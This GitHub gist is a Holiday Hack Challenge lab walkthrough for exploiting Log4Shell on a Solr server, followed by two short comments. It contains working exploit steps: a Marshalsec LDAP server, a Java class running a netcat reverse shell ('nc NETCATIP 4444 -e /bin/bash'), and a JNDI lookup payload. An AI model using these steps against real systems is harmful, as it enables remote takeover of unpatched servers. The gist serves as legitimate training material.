Skip to content

Instantly share code, notes, and snippets.

Last active November 25, 2022 18:32
Show Gist options
  • Save joswr1ght/fb361f1f1e58307048aae5c0f38701e4 to your computer and use it in GitHub Desktop.
Save joswr1ght/fb361f1f1e58307048aae5c0f38701e4 to your computer and use it in GitHub Desktop.
Log4Jack Bonus Help

Yule Log4Jack Help

Hi, Josh Wright here. I'm the technical director for the Holiday Hack Challenge. We don't normally break the 4th wall like this, but we think this Log4j vulnerability calls for special measures to give you the information you need to assess, identify, and mitigate this vulnerability.

In this challenge, Icky McGoop asks for your help in exploiting a Java Solr server at This server is vulnerable to the Log4shell vulnerability. Your goal is to exploit the server and get a shell. Once you have shell access, examine the file in /home/solr/kringle.txt. Read the message, then run runtoanswer and answer the question to complete the challenge.

The server is only accessible inside of the North Pole!

To assist you, we have a web server listening on port 8080, serving files from the /home/troll/web directory. We also have a Netcat listener running on TCP/4444 for a reverse TCP shell callback. We also included the Marshalsec tool for LDAP deserialization, as part of the Log4shell vulnerability exploit chain.

If you want a hands-on lab walkthrough on exploiting this vulnerability, read on!

Exploit Steps

The vulnerable server at is running Solr; you can see this by making a request to the web server /solr/ endpoint, as shown here:

~$ curl
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "">
<html ng-app="solrAdminApp" ng-csp>

NOTE: Solr is not the only product vulnerable to the Log4shell vulnerability!

To exploit the vulnerable server, we will launch the Marshelsec Java deserialization LDAP server. The vulnerable server needs to reach the malicious LDAP server as part of the Log4shell attach path.

Change to the marshalsec directory, as shown here:

~$ cd marshalsec
~/marshalsec$ ls

Start the Marshalsec LDAP server, specifying the listening web server by IP address on port 8080. In the request, indicate the Java class name #YuleLogExploit which will correspond to the attack code we'll generate next, as shown here:

~/marshalsec$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://WEBSERVERIP:8080/#YuleLogExploit"
Listening on

Be sure to replace WEBSERVERIP with the IP address of your terminal.

So far the attacking system has started the Marshalsec LDAP server started, the web server to deliver the malicious Java class, and the shell listener. Next, we need to create the exploit in Java to run a command on the vulnerable server and connect back to the attacker system.

Click to switch to the bottom terminal. Change to the web directory by running cd web, as shown here.

~$ cd web

Next, create a file named and add the Java exploit code shown below. You can use the text editor nano to create the file by running nano

public class YuleLogExploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc NETCATIP 4444 -e /bin/bash");
        } catch (Exception err) {

This Java program will run the Netcat command and send a shell to the specified IP address.

NOTE: Make sure you replace the NETCATIP string with the IP address of your Netcat listener in the top-right corner of your terminal.

(If you don't want to type this exploit code you can run mv .exploit, then edit to replace NETCATIP with your terminal IP address.

Next, compile the exploit using the javac compiler, as shown here:

~/web$ javac
~/web$ ls

Next, deliver the Log4shell exploit to gain remote access to Santa's Solr server by making a cURL request, as shown here.

~/web$ curl '$\{jndi:ldap://MARSHALSECIP:1389/YuleLogExploit\}'

Be sure to replace MARSHALSECIP with the IP address of your terminal.

If the exploit succeeds, you will see a status update in the terminal window for the Marshalsec LDAP server, the web server, and the Netcat shell listener. Switch to the Netcat shell listener terminal and enter any Linux command such as whoami:

listening on [] 4444 ...
connect to [] from (UNKNOWN) [] 49530


Next, retrieve the contents of the file in /home/solr/kringle.txt using cat:

cat /home/solr/kringle.txt

Finally, return to the terminal where you ran cURL and run runtoanswer to complete the achievement.


If you don't get a shell following these steps there are several ways to troubleshoot:

  1. Verify that the Marshalsec server is started with the terminal IP address
  2. Verify that the file has the terminal IP address for the reverse TCP connection
  3. If you change the Java class exploit, make sure you recompile it by running java
  4. Verify that the curl request specifies the Marshalsec LDAP server in the request pointing to the terminal IP address
Copy link

ashishmgupta commented Dec 21, 2021

Nice one, @joswr1ght !

Just a minor correction.
When making the request to the solar server with the Log4Shell, you may want to just have "Your Terminal IP" instead of a hard coded one. Just like you did for netcat.

~/web$ curl '$\{jndi:ldap://****:1389/YuleLogExploit\}'
~/web$ curl '$\{jndi:ldap://**Your Terminal IP**:1389/YuleLogExploit}'

Copy link

Thank you! Fixed just now. 🙌

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment